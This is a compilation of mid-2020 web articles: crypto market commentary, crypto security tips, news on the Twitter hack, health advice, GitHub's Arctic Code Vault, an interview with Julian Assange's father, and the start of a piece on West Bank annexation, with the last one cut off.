Take a look at the market capitalization of ether, the native token of the Ethereum blockchain. Currently, the value stands at about $26 billion. But that figure doesnt include all of the digital assets built atop the Ethereum blockchain, including some of this years hottest tokens:stablecoinslike tether and USDC and altcoins likeCrypto.coms CRO, Chainlinks LINK, CompoundsCOMPand KybersKNC.

Youre readingFirst Mover, CoinDesks daily markets newsletter. Assembled by the CoinDesk Markets Team, First Mover starts your day with the most up-to-date sentiment around crypto markets, which of course never close, putting in context every wild swing in bitcoin and more. We follow the money so you dont have to. You cansubscribe here.

The combined value of those ERC-20-standard tokens is alsoaround $26 billion, according to the data provider Messari. That puts the market capitalization of the Ethereum ecosystem at more than $50 billion closer to bitcoins $170 billion than if ether were considered alone.

The comparison shows how the rapid pace of development this year on Ethereum has brought the blockchains ecosystem closer to challenging Bitcoin. The value gap narrowed overthe past month as bitcoins price stagnated,while demand for stablecoins and a flurry of activity in decentralized finance, known as DeFi, has ignited the value of Ethereum and the tokens that depend on it.

DeFi tokens continue their bull run, cryptocurrency analysis firm TradeBlock wrote Monday in aweekly commentary.

Messari, a digital-asset data firm, said in a report thatthe Ethereum blockchains daily settlement value recently surged to about $2.5 billion, surpassing Bitcoins for the first time since at least early 2019.

Ethereum has blown past Bitcoin, Ryan Watkins, a Messari analyst, wrote in the post on Monday. With the increasing amount of economic activity taking place on Ethereum, this trend is unlikely to reverse anytime soon, if ever.

Its the latest chapter in the competition among projects to attain critical mass in the cryptocurrency industry. For entrepreneurs and investors in the space, the goal is to establish networks and projects with enough name recognition, credibility and functionality to scale quickly if and when mass adoption comes.Bitcoin, the oldest and largest cryptocurrency, attracted most of the hype early in 2020 as some analysts predicted a once-every-four-years event known as the blockchains halving could send prices to $90,000. Bitcoin got another bluster of endorsements as the spreading coronavirus slammed the global economy, sending traditional markets plunging and prompting the Federal Reserve and other big central banks to createtrillions of dollars of freshmoney.

Many investors predicted that the money injections would debase the dollars purchasing power, driving up theprice of bitcoin. Yet over the past couple months, bitcoins price has stagnated below $10,000, and even its notoriousvolatility has withered prompting fickle crypto traders to seek faster-moving action.

Bitcoin has been stuck in a tight trading range for weeks, boring for a market that used to be known for itsthrills. However, there are signs Tuesday that an expected big move may be building.

Still, Ethers price is up 81% in 2020 to $237, almost three times bitcoins 30% year-to-date gain.

Steve Ehrlich, CEO of publicly traded cryptocurrency brokerage firm Voyager Digital, says bitcoin has accounted for about 15%oftrading volumes so far in July, down from about 60% prior to the May halving.

Weve seen a tremendous change in our retail customerbehaviors, Ehrlich said Monday in a phone interview. Whenbitcoin is extremely flat in the marketplace, people are looking at other tokens.

In terms of name recognition and popularity outside of the crypto industry, Bitcoin still dominates. According to a report last week from the trading platform eToro and data provider The TIE, only four stories about DeFiappeared in June in non-crypto news sources, versus some 200 about bitcoin.

There is a growing realization though that the 2020 DeFi hype may be overdone, Mati Greenspan, founder of the cryptocurrency and foreign-exchange analysis firmQuantum Economics, wrote Monday in an e-mail to subscribers.

Denis Vinokourov, head of research at the London-based cryptocurrency prime brokerBequant, said that ethereum risks becoming a victim of its own success, activity inthe tokens built atop the blockchain are driving up transaction fees.

This resurgence in the network performance has come with a raft of undesired consequences, Vinokourov wrote in emailed remarks.

And Jimmy Song, a well-known bitcoin developer and promoter, told the website CoinMarketCap in aninterview published last weekthat he thinks many DeFi projects will fail to live up to their decentralized billing because they almost always have to have some sort of back doorin case something goes wrong.

Its really just a form of gambling with limited upside for people that arent in control of the protocol, Song said.

For now, though, the Ethereum ecosystem is edging closer.

Jack Tan, of Taiwan-based quantitative firm Kronos Research, told CoinDesks Daniel Cawrey that he seesether hitting $500 by the end of this year. That would more than double ethers market capitalization, to say nothing of any potential increases in the value of ERC-20 tokens.

Ethereum the platform has done its job, the cryptocurrency investment firm Arca wrote Monday in a weeklyblog post.

Traders are apparently doing their jobs too following the action.

Tweet of the day

Bitcoin watch

BTC: Price: $9,347 (BPI) | 24-Hr High: $9,363 | 24-Hr Low: $9,152

Trend:Bitcoin is showing signs of life on Tuesday with prices trading above $9,340 at press time, representing a 1.9% gain on the day. Notably, the cryptocurrency hasnt witnessed an over 1% move since July 9.

The 4-hour chart shows the cryptocurrency has broken higher from the four-week-long narrowing price range. The breakout is backed by an above-50 or bullish reading on the relative strength index. Meanwhile, the MACD histogram is printing higher bars above the zero line, a sign the upward move may gather pace.

The immediate resistance at $9,480 a lower high created on July 9 could be put to test over the next few hours.

Acceptance above that level would confirm a Bollinger band (volatility indicator) breakout on the daily chart and may yield a rally to $10,000.

The bias would turn bearish if the cryptocurrency finds acceptance under $9,000. However, sellers have failed multiple times in the last two months to establish a foothold below that psychological support.

The leader in blockchain news, CoinDesk is a media outlet that strives for the highest journalistic standards and abides by a strict set of editorial policies. CoinDesk is an independent operating subsidiary of Digital Currency Group, which invests in cryptocurrencies and blockchain startups.

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Telegrams TON Blockchain Project and GRAM Cryptocurrency Shelved – the blockchain land

Many experts have regarded cryptocurrency as the future of money and finances around the world. These days, there are a lot of cryptocurrencies available online and more people are getting vested into these types of virtual currencies. Early this year, cryptocurrency has already earned over $155 billion market capitalization.

However, as more people invest their hard-earned money to this relatively new digital investment, cyber threats begin to arise in numbers as well. Bitcoin, the first cryptocurrency, and other virtual money are now susceptible to many cyber threats. In 2014, hackers ran off with about $487 million in bitcoins from Tokyos Mt. Gov exchange while the most prominent cryptocurrency hack that happened in 2018 costs around $534 million.

The risk lies in losing your crypto to a cyber theft that leaves no traces. Thats because governmental entities and central banks do not yet protect cryptocurrencies. Due to their decentralized nature, theres no centralized control over them, as is usually the case for fiat currencies. Cryptos cant be regulated like stock exchanges, which is one of the reasons governments have been skeptical towards them.

Therefore, if you own cryptocurrencies, its crucial to be aware of the risks of cyber-attacks. This is an extremely valid point for all our private data thats out on the internet. As a result of the growing number of people using the internet and the number of frauds and thefts that followed, there has also been a rise in the protection of privacy and data. If its to connect to your e-mail account, social media networks or even your favorite online streaming platform, there are authentication systems at work to protect you. So when it comes to cryptos, a form currency that is slowly growing in terms of adoption, there are already many ways you can protect yourself.

As you invest in cryptocurrency, you need to be on constant move and lookout of possible cyber-attacks and other cyber threats you might encounter. Here are some ways you can do to protect your cryptocurrency investment.

If you are starting to immerse yourself in the crypto world, do not invest everything at once. Doing this can draw attention to your end and have cybercriminals tagging behind you. Start making smaller trades instead to avoid cyber threats. This strategy will avoid putting yourself in the radar of hackers who are on the constant lookout for rich targets. This tactic can also be an excellent way to test yourself so you wont overextend yourself in your investment and exhaust your resources.

This method is probably similar to a piece of advice that you often hear when you make any standard investment. Experts always remind that you should not keep all of your eggs in one basket. As you begin to test the crypto waters, diversify your wallets and distribute your funds among them. You can always start with the most popular ones, such as Coinbase and Binance.

Cryptocurrency wallets are software programs that act as a digital wallet that store your virtual currencies. You can use it to send and receive cryptos and monitor their balance. When you put your money in different wallets, it would be safe to say that if one of them got stolen, you could still recover. It will not mean the end of the crypto adventure for you since the rest of your investment is safely allocated in different places.

Wallets are a much-needed tool in your cryptocurrency investment, so you need to make sure that you only use wallets from known sources. Crypto wallets come in two forms, hot wallets which can connect to the internet and cold wallets that are kept offline and come in types of hardware devices.

It is best also to learn the different types of crypto wallets, which include:

As cryptocurrency starts to be widely ventured by investors, the market has seen a growing number of wallets coming from less reputable companies. These wallets offer compelling features that are sometimes malware in disguise.

Most cybersecurity experts these days always remind people to use two-factor-authentication or 2FA to any of your online accounts. Using 2FA in your cryptocurrency investment accounts adds another second layer of security that helps protect your digital money. It should not only be done on your crypto wallet but also all your online accounts associated with your crypto investment.

When you enable 2FA, it will provide you with a 6-digit code or password through your e-mail or your mobile phone. These codes change within 30 seconds, which makes it hard for hackers and cybercriminals to crack.

Most cybercriminals get creative these days to steal online investment like cryptocurrency. Hackers can often use tempting ads that get users to click on them. Clicking on these ads would then signal a malware to install in your system.

To avoid this, you can install an ad blocker in your browser. This ad blocker extension will help you distinguish between safe ads from a malware-infested ad that hackers use. However, to be completely secure, it is better to avoid and refrain from clicking any advertisement you see on your browser.

It is a must to update your wallet and have it in the latest software. Should you fail to update it, theres a possibility that you expose your funds and investment. When this happens, hackers and cybercriminals can easily take advantage of it.

Closely monitor your mobile and desktop wallets for any updates. However, it would be best if when an update is available, do not rush to download it immediately. At least wait for 2-3 days before updating your wallet because some updates contain bugs when released. Developers can only get to know about it and clear it off when users give in their comments after utilizing the update.

Whenever you deal with money, its best to avoid doing it while connected to a public Wi-Fi. These public Wi-Fi-s may redirect your browser to a phishing version of a wallet or cryptocurrency exchange. Connecting to the unsecured networks can give hackers and cybercriminals a chance to access your mobile devices or laptop. They can collect your data, including your login credentials as well as your other confidential information.

As much as possible, do your online cryptocurrency business on your dedicated devices connected on a secured network. This can be your home Wi-Fi or your phones mobile data. This way, you can avoid any cyber threat that you may encounter on a public connection which can put your investment at risk.

Starting a cryptocurrency investment can be exciting and overwhelming; however keeping it safe from any cyber threats can be tricky, especially if you are new to it. Learn to turn these safety practices into daily habits, so you can be sure that your investment is well kept.

READ:

How Can Cryptocurrenty Impact eCommerce

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Telegrams TON Blockchain Project and GRAM Cryptocurrency Shelved - the blockchain land

Cryptocurrency firm KuCoin ‘shocked’ by Twitter hacking – The National

A leading cryptocurrency exchange has voiced its concerns after hackers took over its Twitter account along with more than 100 others belonging to some of the worlds most influential people and companies.

KuCoin, which since being founded in 2017 has grown to become one of the worlds most popular crypto exchange services with five million users, lost control of its official Twitter account during the cyberattack this week.

For a company that depends on providing high levels of security to its users, the breach at Twitter was of particular concern.

A spokesman for the company, Jing Cheung, told The National: We are actually quite shocked at whats happening at Twitter.

As a crypto exchange, security is our top priority, he said.

We have implemented plenty of security mechanisms to protect account security. Thats why its hard to imagine such a hack could happen to Twitter.

The cyberattack is the biggest to have hit Twitter in its history.

Hackers are believed to have accessed Twitters internal systems to compromise the accounts of some of the platform's top voices, including US presidential candidate Joe Biden, reality TV star Kim Kardashian, former US president Barack Obama and billionaire entrepreneur Elon Musk, and use them to solicit digital currency.

The high-profile accounts that were hacked also included rapper Kanye West, Amazon founder Jeff Bezos, investor Warren Buffett, Microsoft co-founder Bill Gates and the corporate accounts for Uber and Apple.

In its latest statement, Twitter said the hackers were able to gain control to a "small subset" of the targeted accounts and send tweets from them.

The FBI is leading an inquiry into the incident, with several US politicians also calling for an explanation of how it happened.

The investigative agency said that cyber attackers committed cryptocurrency fraud in the incident.

Freely available blockchain records show the apparent scammers received more than $100,000 (Dh367,000) worth of cryptocurrency.

KuCoin said it was working closely with Twitter to investigate the hacking which, it added, was handling the matter carefully and transparently.

The company said it was looking into using a new, decentralised social media channel using the same blockchain technology that protects cryptocurrency transactions to provide greater security.

Updated: July 17, 2020 08:54 PM

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Cryptocurrency firm KuCoin 'shocked' by Twitter hacking - The National

Peter Schiff Attacks Bitcoin as Silver Rallies to Six-Year High – Bitcoinist

Peter Schiff believes silvers rally will be short-lived. In condemning it, he called the metal the new Bitcoin.

The previous one was a scam run by degenerate gamblers, says Schiff. It lacked a use case and had no underlying value; only greed and hype drove it higher. That is why the old version was inching towards a disaster.

So does that make Silver the same since it is the new version of a problematic Bitcoin? Only Peter Schiff can explain the man behind these conflicting and typically confusing remarks.

The prominent gold bug was at it again this Wednesday. He went after Bitcoin for hear this rallying barely 2 percent a day before. That was the cryptocurrencys first big move after weeks of sideways action. But for Mr. Schiff, it was not enough not when a traditional commodity jumped higher.

Silver, the second-in-command to gold, touched its highest level in six years. The metal climbed by as much as 6 percent to circa $21.17 an ounce its highest intraday gains since July 2014. Observers credited low-interest rates, as well as a pick-up in manufacturing demand, for inciting the Silver price to rally.

Mr. Schiff preferred to use the metals gains as a weapon to discredit the Bitcoins modest breakout. He commented that silver is the new Bitcoin, except with direct utility, adding that the cryptocurrencys bugs are dreaming about sending it to the moon, while missing the real-life moonshot in silver.

Incidentally, the comments came only hours after a report that apprehensively showed Bitcoins growth as a utility token. Crypto-focused data aggregator portal Messari wrote that the top crypto, as well as its silver-like Ethereum, settled a combined $1.3 trillion in transactions in 2020.

Ryan Watkins, a research analyst at Messari, noted that people used public blockchains like Bitcoin for multiple reasons. One of them is to conduct high-value transactions which is entirely different from paying for a cup of coffee via a cryptocurrency.

The purpose of [public blockchain] systems is to provide strong settlement assurances, wrote Mr. Watkins. Theyre supposed to fully guarantee payments so that they cannot be repudiated, reversed, or charged back without the agreement of the recipient, and meant to settle immediately.

People dont use Silver for settling payments in real-time. But Mr. Schiff conveniently opted to intermix the metals mechanical aspects with Bitcoin the cryptocurrency has nothing to do with poweringelectronics and photovoltaic cells in solar panels.

As for price, the comparison between silver and bitcoin shows Mr. Schiffs favoritism towards the former. One of the responses to the gold bulls anti-cryptocurrency tweet summarized it aptly.

Its taken gold and silver almost a decade to move the same amount Bitcoin normally would do in a monthly range. Dont let the facts get in the way eh Peter.

Just this year, Bitcoins recovery from its March nadir has taken its price 30 percent above zero on a year-to-date timeframe. Meanwhile, Silver is behind with a 25 percent surge.

Bitcoin is the new silver, maybe.

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Peter Schiff Attacks Bitcoin as Silver Rallies to Six-Year High - Bitcoinist

5E Formula: A Simple Method That Can Help You Live A Healthy Lifestyle – Doctor NDTV

5E Formula: From including whole foods in your diet to restricting intake of white refined sugar, here's what the 5E Formula suggests.

5E Formula includes drinking lots of water throughout the day

A healthy lifestyle essential for your immunity, especially in these testing. However, it is easier said than done. One needs will, determination, dedication and discipline to continue with healthy living in the long term. There are a few rules, tips or guidelines (whatever you want to call it) that can make it easier for you to follow a healthy lifestyle with consistency. The 5E Formula can help you maintain your health, weight, immunity and also help you be disease-free. It comprises a few basic and simple steps that you need to follow on a daily basis.

From fresh fruits and vegetables to whole grains, nuts and seeds, include lots of whole foods in your diet. The body is able to digest and recognise whole foods easily. Eating whole foods, and a variety of them can ensure diversity in your diet. It can be beneficial for your gut health, digestive system and immunity.

Drinking enough water ensures that your body is well-hydrated and also ensures that toxins are flushed out of your system. Sufficient water intake ensures that your cell function better and that you feel fresh and energetic throughout the day. It also required for a healthy digestive system and preventing constipation.

Drink sufficient water to maintain a healthy weight and keep yourself well-hydratedPhoto Credit: iStock

Also read: What Is Dehydration? Know How To Deal With It

A rainbow diet is one which is colourful, including a variety of colourful fruits and vegetables. A rainbow diet can provide you with sufficient nutrients and antioxidants that can boost immunity. It can help in keeping inflammation low. High levels of inflammation can be attributed to most diseases in the body.

The benefits of a healthy diet come full circle only when it is followed by regular exercise. Exercising regularly is the most simple and effective way to stay fit and healthy. It can help in maintaining and losing weight if required. Apart from regular exercise, you also need to be physically active all day. Long hours of sitting can pose several risks to your health. What's more, exercise also helps in stimulating hormones in the brain, which make you feel good, relaxed and calm.

Also read: Weight Loss Tips That Won't Fail

White refined sugar is your worst enemy. It provides you with nothing but empty calories. Excessive sugar can cause weight gain and mess with your blood sugar and insulin levels. It can put you at risk of diabetes and obesity. To avoid excess sugar in your diet, avoid processed and packaged foods, including breakfast cereals and biscuits. Eat homemade foods as much as possible and restrict intake of sugary foods and desserts to occasions only.

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Also read: Lifestyle Changes That Can Reduce Risk Of Type 2 Diabetes

Disclaimer: This content including advice provides generic information only. It is in no way a substitute for qualified medical opinion. Always consult a specialist or your own doctor for more information. NDTV does not claim responsibility for this information.

DoctorNDTV is the one stop site for all your health needs providing the most credible health information, health news and tips with expert advice on healthy living, diet plans, informative videos etc. You can get the most relevant and accurate info you need about health problems like diabetes, cancer, pregnancy, HIV and AIDS, weight loss and many other lifestyle diseases. We have a panel of over 350 experts who help us develop content by giving their valuable inputs and bringing to us the latest in the world of healthcare.

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A Staggering 21TB of Source Code Were Just Buried in The Arctic For an Unknown Future – ScienceAlert

If doomsday comes, know this: precautions have been taken. On an isolated Arctic archipelago, the Svalbard Global Seed Vault aka Norway's 'Doomsday Vault' holds over 1 million seed samples in a fortress-like bunker designed to be the most invulnerable seed bank in the world.

Svalbard protects more than just seeds, though. On the same remote mountain, an abandoned coal mine now exists as another vital safe-house: the Arctic World Archive, preserving the world's data of today for an uncertain tomorrow. And the facility just received a contribution that's truly mind-boggling in scope.

GitHub, often billed as the world's largest host of open source code, has successfully transported all of its active public code repositories (as of February this year) to the Arctic World Archive, as part of the company's ongoing efforts to establish the GitHub Arctic Code Vault.

(GitHub)

"Our mission is to preserve open source software for future generations by storing your code in an archive built to last a thousand years," Julia Metcalf, GitHub's director of strategic programs, explains on the company's blog.

The project, first announced last year, already saw one shipment to Svalbard in late 2019, with a deposit of 6,000 of the platform's most significant repositories of open source code.

The new shipment, painstakingly managed during the shutdowns and border closures of the coronavirus pandemic, goes even further, preserving a massive haul amounting to 21 terabytes of data, written onto 186 reels of a digital archival film called piqlFilm.

This purpose-built media designed to last for 500 years, with simulations suggesting it should last twice as long is now stored 250 metres deep, in a steel-walled container inside a sealed chamber in the Arctic World Archive.

The film, composed of silver halides on polyester, looks like a miniaturised print of QR codes, except every frame squeezes in some 8.8 million microscopic pixels, and each reel runs for almost 1 kilometre (about 3,500 ft), such is the gargantuan size of the data being stored.

(GitHub/YouTube)

"It can withstand extreme electromagnetic exposure and has undergone extensive longevity and accessibility testing," the piql company claims.

It's hoped that this extremely long-life media in conjunction with the Archive's natural isolation and engineered security will give the world's open source software the best chance of seeing a distant future where it may one day be needed by upcoming generations.

"It is easy to envision a future in which today's software is seen as a quaint and long-forgotten irrelevancy, until an unexpected need for it arises," the GitHub Archive website explains.

"Like any backup, the GitHub Archive Program is also intended for currently unforeseeable futures as well."

In those unforeseeable futures, it's hard to know exactly what future humans will make of the archive's coded contents, or how they might be able to access and use them.

For that reason, the vault will also contain a separate, human-readable reel, called the Tech Tree, explaining the technical history and cultural context of the archive's contents.

The Tech Tree won't just throw future humans into the world of 21st century open source code, but serve as a primer for what these programs are, and what kind of technology they run on.

"It will also include works which explain the many layers of technical foundations that make software possible: microprocessors, networking, electronics, semiconductors, and even pre-industrial technologies," Metcalf explains.

"This will allow the archive's inheritors to better understand today's world and its technologies, and may even help them recreate computers to use the archived software."

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A Staggering 21TB of Source Code Were Just Buried in The Arctic For an Unknown Future - ScienceAlert

Assanges father speaks out, calls oppression of WikiLeaks founder a great crime of 21st century – The Grayzone

DENIS ROGATYUK: The fight to bring Julian home has been a monumental challenge since his unjust conviction. But it has certainly become much more difficult since his expulsion from the Ecuadorian embassy in March 2019. What have been the primary actions that you and the campaign have undertaken since then?

JOHN SHIPTON: Well we fight against the United Kingdom, Sweden, the United States, and to a certain extent Australia. They have marshaled all of their forces and broken every law in human rights and due process in order to send Julian to the United States and destroy him.

Before our eyes, we have watched the gradual murder of Julian through psychological torture, through ceaseless breaking of procedures and due process. So that is what we fight against.

During the latest hearing, the judge Barrett asked Julian to prove that he was unwell, that he didnt come onto the video. So again, we see a process that we witness over and over again, blaming the victim.

In the case of Australia, the Australians say that theyve offered consular assistance. When I say the Australians, DFAT (the Department of Foreign Affairs and Trade), and the prime minister, and the foreign minister, Marise Payne, say that they have consular assistance over and over again. Their consular assistance consists offering last weeks newspaper and to see if hes still alive. Thats about the extent of it.

So consular assistance, I think they maintain, DFAT maintains that theyve made 100 offers. Well this is a profound testimony to failure.

Its now 11 years; Julian has been arbitrarily detained 11 years. The United Nations Working Group on Arbitrary Detention declared that Julian was arbitrarily detained, and should be compensated and freed straightaway.

The latest of their reports was February 2018. It is now 2020 and Julian is still in maximum security Belmarsh prison under lockdown 23 hours a day.

DENIS ROGATYUK: And how would you describe the relationship between the current campaign for his release and the Wikileaks organisation?

JOHN SHIPTON: Well WikiLeaks continues its work and continues to hold the most extraordinary library of the American, United States diplomacy since 1970. Its an extraordinary artifact that any journalist or any historian, any of us can look up the names of those who have been involved in diplomacy with the United States, in their own countries or with the United States. This is a great resource. It continues to be maintained.

Just the week before last, WikiLeaks released another set of files, so WikiLeaks continues its work.

The people who defend Julian include Wikileaks, but include 100,000 people all around the world who are working constantly to bring about Julians freedom and stop this oppression of the free press, of publication, of publishers, and of journalists. We work constantly to do that.

There are about 80 websites around the world that publish and agitate for Julians freedom. And about 86 Facebook pages devoted to Julian. So there are many of us. And the upswelling of support continues, despite Covid. Covid slowed us down a little bit. Now that Covid-19 is withdrawing, the upswelling continues.

And it will do so until the Australian Government and the United Kingdom recognise that this is the crime, the oppression of Julian, is the great crime of the 21st century.

DENIS ROGATYUK: The latest superseding indictment of Julian regarding the alleged conspiracy with unnamed anonymous hackers appears to be another attempt to fast-track his extradition. Do you believe this is a symptom of desperation on the part of the Department of Justice of the United States?

JOHN SHIPTON: No I dont. The people who work in the Department of Justice get paid, whether this succeeds or not. Whether Julian is extradited they get paid; if hes not extradited they still get paid. They still go home, and have a glass of wine, take the kids to the movies, and then come to work the next day, and think up another instrument of torture for Julian. This is their job.

So I dont know why, but I could speculate or guess, if you like, that the Department of Justice would like to see the trial delayed, the hearing delayed, until after the American election (in November 2020). So there will be appeals by the lawyers in court that they havent had time to accommodate and that the judge, they asked the judge to move the hearing date. Thats what I imagine.

But I dont think its an act of desperation at all. If anything it is giving us who defend Julian more things to worry about, so that our energies are not focused singularly upon getting Julian out. So the conversation drifts over to this further indictment and about who is included in it.

It is Siggi and Sabu, both of whom are not credible witnesses. Siggi (Sigurdur Thordarson, or Siggi hakkari) is a convicted sex offender, a con man, who stole $50,000 from Wikileaks and so on. There are not credible witnesses (to these allegations). I guess that it is either to delay the hearing and or to cause the conversation to drift away from what is important.

DENIS ROGATYUK: I wish to move to the second part of our interview now, exploring Julians life.

A lot has been researched and published about Julians life and early days in the 1990s. I would like to discuss the aspects of his life that have given him the resilience and the strength to withstand the challenges that he faces now.

Julian is incredibly committed to telling the truth in his interviews. He is very articulate and he is very careful about communicating and choosing the exact words to describe things. Is this something that his family taught him or is it something special about Julian?

JOHN SHIPTON: I dont really know, you know, it is sort of a gift that I would like to have myself. So I dont know where it came from. I guess you would have to ask the gods, maybe they know the answer.

The path he has forged is distinct and distinctly his. I admire and am proud of him for his capacity to adapt, and his capacity to continue fighting, despite 11 years of ceaseless psychological torture. That doesnt come without cost. It cost him a lot.

However, we believe that we will prevail. And Julian will be able to come home to Australia, and maybe live in Mullumbimby for a little bit, or in Melbourne; he used to live here down the corner.

Oh actually I dont like the word, if I may withdraw that sentence, I dont like the word hope. Hope sort of makes a really nice breakfast, and a bad dinner. So we will prevail in this fight is what I would say.

DENIS ROGATYUK: Julian displayed incredible physical and mental resilience these past 9 years, particularly nearly 8 years he spent in the Ecuadorian embassy and this past year in the Belmarsh prison. Where do you think this strength is coming from his moral and political convictions or something he developed in his early life in Australia?

JOHN SHIPTON: I think its a gift that he has, that he will continue to fight for what he believes. And if there are elements of truth in what he is fighting for, well then he never surrenders. Its an aspect of character.

I dont mind in fact myself, but I am invigorated by fighting for Julian. And each insult or offence against Julian increases my determination to prevail, and the determination of Julians supporters to prevail. Each insult increases our strength.

And so you can see, when the second a lot of indictments were brought down week before last, supporters around the world raised their voices in disbelief, and began again to raise awareness of Julians situation.

So its really interesting, the Department of Justice might think one thing that it causes us to fracture, but what actually happens is the upswelling of support continues unabated.

DENIS ROGATYUK: John, I wish to ask you a more personal question. How does it feel to be the father of a man like Julian, and to see his son son go through all this hardship and slander, and to keep traveling and fighting for his liberation across the world?

JOHN SHIPTON: Well some of it is hard to believe, what people say about Julian. You know those American politicians are shooting, and you know the UC Global employees in Spain, who were supposed to look after the security of the Ecuadorian embassy, who speculated on how to poison Julian at the behest of CIA and Mossad and Sheldon Adelson, whatever whatever you want to call those bunch of creeps.

Im surprised, but you know I ignore it. For myself I take not the slightest bit of notice. Im surprised that people put their energies into calling Julian names, and theyve never met him, never even set eyes on him, some people, and yet they find the time and energy to write scurrilous things.

I think maybe they dont have anybody to go out with, or theres no friends at home, or something like that, or their their wife cant stand them, so they go down the backyard with their laptops and write scurrilous things about Julian or whatever, or their neighbors dog.

Im very surprised that people put the energy into that sort of thing.

DENIS ROGATYUK: But how does it feel to keep this campaign for a liberation going? Because you have done a lot of travel around the world; you have been advocating for his release everywhere you go. So what has that journey been like for you, personally?

JOHN SHIPTON: Uh Denis, I dont count the costs, not even for a minute. I do what Im here today with you, I do what comes before me, and then I go on to the next thing. But I never, ever count costs.

DENIS ROGATYUK: And for the last part of our interview I wanted to actually discuss your thoughts and your opinions on some of the more important and more prominent issues of our day.

Ever since the extradition hearings began, against Julian, the US government, particularly Trump, Mike Pence, and Mike Pompeo, have been doubling down on their attacks against Julian and WikiLeaks. Pompeo even called it a non-state hostile intelligence service often abetted by state actors like Russia.

The US establishment appears to be dead set against them, and both major parties are playing along. So what do you think ought to be the strategy of activists and journalists in the US to challenge this?

JOHN SHIPTON: Well first of all, Mike Pompeo, dear oh dear, I mean a failed secretary of state and a failed CIA director, declares war on WikiLeaks in order to get the CIA support for his future ambitions to run for president. And he moves now from secretary of state to the Senate for Kansas.

The secretary of state is an important position. However Mike Pompeo doesnt strike me as being a historically significant personality.

The US establishment must fall in line with what the CIA wants and thinks. So Pompeo in that address on the (13th) of April 2017 that you just quoted, he just wants to get all of his workers to support him in his bid for presidency.

And also to oppress and intimidate journalists all over the world, and publishers and publications his sole aim is to ruin your capacity to bring to the public ideas and information, and our capacity as members of the public to talk amongst ourselves and sort out things through conversation with each other, on what we ought to do and how we ought to go about life.

They just want to have it all their own way, declare war on whomever, murder another million people, destroy Yemen, destroy Libya, destroy Iraq, destroy Afghanistan, the list goes on destroy Syria, millions of people refugees, flooding the world, and moving into Europe; the Maghreb in turmoil, the Levant in turmoil, Palestinians murdered this is their aim.

And so for us, we depend upon you to bring us truthful information, so that we can have fair opinions of how the world is moving around us.

What Pompeo wants is for what he says to be believed. Well you can see his history. They say it may be up to 5 million people since 1991 died as a result of the United States and its allies moving on Iraq in an illegal war.

You can watch Collateral Murder and you can see a good samaritan dragging a wounded man into his car to take him to the hospital, taking his children on the way to school, murdered before your eyes. The pilots of the helicopter begging for instructions to be able to shoot a wounded man, two kids, and two good samaritans, begging for instructions from their controller.

So they dont want us to see that. However we depend upon you journalists, publishers, publications to bring to us the crimes that governments commit so that we are energized, so that we place our shoulders to preventing these murders with all of the determination and energy we can muster, to prevent the murder and destruction of an entire country.

If I may remind you, in Melbourne, there were a million people marched against the Iraq War. All over the world I think a total of 10 million people. We dont want war. They lie to us in order to have wars, for whatever satisfaction, I cant make out myself.

Who would want to see and hear the lamentation of widows, the cries of children, the groans of men? Who would want that? Its monstrous.

And so we need the information in order to say no.

DENIS ROGATYUK: The new cold war between the United States and the European Union on one side and China and Russia on the other, threatens to pull the ordinary people of the world into another confrontation on behalf of these political and economic elites among these countries.

From your experience of seeking international support for Julian, what are the best ways of forging solidarity across borders in this new conflict that seems to be developing?

JOHN SHIPTON: I think the best way is to talk to your friends and discuss things, gathering friends and discussing things, becoming aware outside of what the mass communication outlets want us to see and hear.

So just face-to-face conversations and then conversations over social media is sufficient. Each day you will see, the last two weeks, Facebook and YouTube and Twitter removing, as platforms of discussion, certain subjects, and certain YouTube channels. They remove them because we are succeeding, not because nobody watches them, nobody goes there. Its because we are succeeding to educate ourselves as to what governments do in our name.

To bring peace between or fair relationships between the members of the European Union and Australia and China and Russia, ordinary people the Sochi World Cup, soccer world cup, was the greatest success, fabulous success. Everybody who went to Russia came back full of admiration for Russia and Russian hospitality.

Well this is what is needed, just ordinary people getting to know each other and discussing matters of importance, not depending upon CNN or any other talking head for how you should feel about this or that subject. Just talk to friends, talk to groups of people, talk amongst each other, exchange ideas, exchange where to get good information, and things will change.

I have an undying belief in the capacity and goodness of general humanity. And I am proved right every time, because 10 million people marched against the Iraq War, but a few hundred manipulated the nations by blowing up railway stations, what they called terrorism, just a few hundred manipulated those nations into destroying Iraq.

Ordinary people dont want war; we want to be able to just talk to our friends, look after our families, thats all.

DENIS ROGATYUK: And one final question, John. The Covid-19 pandemic has not only revealed the inadequacies of the neoliberal economic order, but it has also revealed its increasing instability and desperation to maintain itself.

This is also true with regards to prominent right-wing governments the United States, Brazil, and Bolivia seeking to silence journalists and reports regarding their mismanagement of the pandemic.

We are seeing independent journalism under attack around the world, through censorship, intimidation threats, and assassinations.

What do you think should be the best way of fighting back against them?

JOHN SHIPTON: These governments, they cant even look after their own populations, let alone order the world in a decent way. And their ambitions are to order the world, while they cant even look after the people of Seattle.

Its just, if it wasnt so tragic, it would be just amusing, you would read about it just to get a laugh every morning.

Of course they oppress the journalists; of course they oppress publications; of course the warrants that allow you to broadcast on a certain spectrum are removed; platforms are removed. Because we continue to understand and expose their shortcomings.

The shortcomings are criminal. They actually consider the phrase herd immunity to be something scientific. They actually contemplate allowing hundreds of thousands of old people or older people to die. And they use phrases like, Oh well, they had comorbidities. Everybody over 60 has a comorbidity. You dont get older and get weller; you get older and get a little bit sick, or a little bit not so strong.

The actual contemplation of doing away with the steadying part of a society older people steady the young; the young are full of vigor, and the old are full of caution; this is a fair balance in society allowing them to die off, for whatever reason we cant discern. We cannot discern; it doesnt cost any more money to look after a section of society and prevent Covid. You dont lose anything from it; you actually gain access to the experience and judgment of the older section of your society.

So it is incomprehensible, like neoliberalism itself, nobody quite understands why weve got, it but its there.

Denis is a Russian-Australian freelance writer, journalist and researcher. His articles, interviews and analysis have been published in a variety of media sources around the world including Jacobin, Le Vent Se Lve, Sputnik, Green Left Weekly, Links International Journal, Alborada and others.

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Assanges father speaks out, calls oppression of WikiLeaks founder a great crime of 21st century - The Grayzone

Waiting for Annexation – The American Prospect

It was an ordinary day for Palestinians under Israels rule. Ordinary, in the sense that the many ways that Israel oppresses Palestinians continued as usual, be it through military orders, court rulings, or direct state violence.

July 1 was the earliest launch date for Israels de jure annexation of parts of the occupied West Bank. Yet it was also a day that Israel simply continued doing what it pleases to Palestinians throughout the territory: Its infrastructure of oppression has already been in place for decades. But one thing is both certain and fixed: how oppressive, demeaning, and brutal this reality is.

